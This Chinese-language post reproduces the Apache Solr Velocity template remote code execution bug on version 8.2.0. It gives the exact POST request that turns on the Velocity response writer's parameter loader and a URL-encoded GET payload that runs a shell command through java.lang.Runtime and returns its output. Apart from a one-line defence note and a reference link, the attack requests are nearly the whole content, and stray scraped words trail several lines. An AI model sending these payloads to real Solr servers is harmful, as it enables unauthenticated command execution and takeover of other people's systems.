[漏洞復現] Apache Solr RCE

漏洞詳情

原做者S00pY 666!!若是知道Core路徑,經過POST數據包修改配置文件,可遠程執行命令。測試使用solr-8.2.0最新版本,目測影響全版本。java

利用前提
solr存在未受權訪問。git

漏洞復現

訪問Core Admin獲得應用路徑,漏洞復現踩坑:若是Add Core報錯,將/solr-8.2.0/server/solr/configsets/_default下的conf文件夾複製到new_core文件夾下便可。github

開啓params.resource.loader.enabledjson

POST /solr/new_core/config HTTP/1.1
Host: 10.211.55.13:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

命令執行app

GET /solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 10.211.55.13:8983

Python EXP測試

防護

禁止訪問solr。code

參考
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txtserver

相關文章
相關標籤/搜索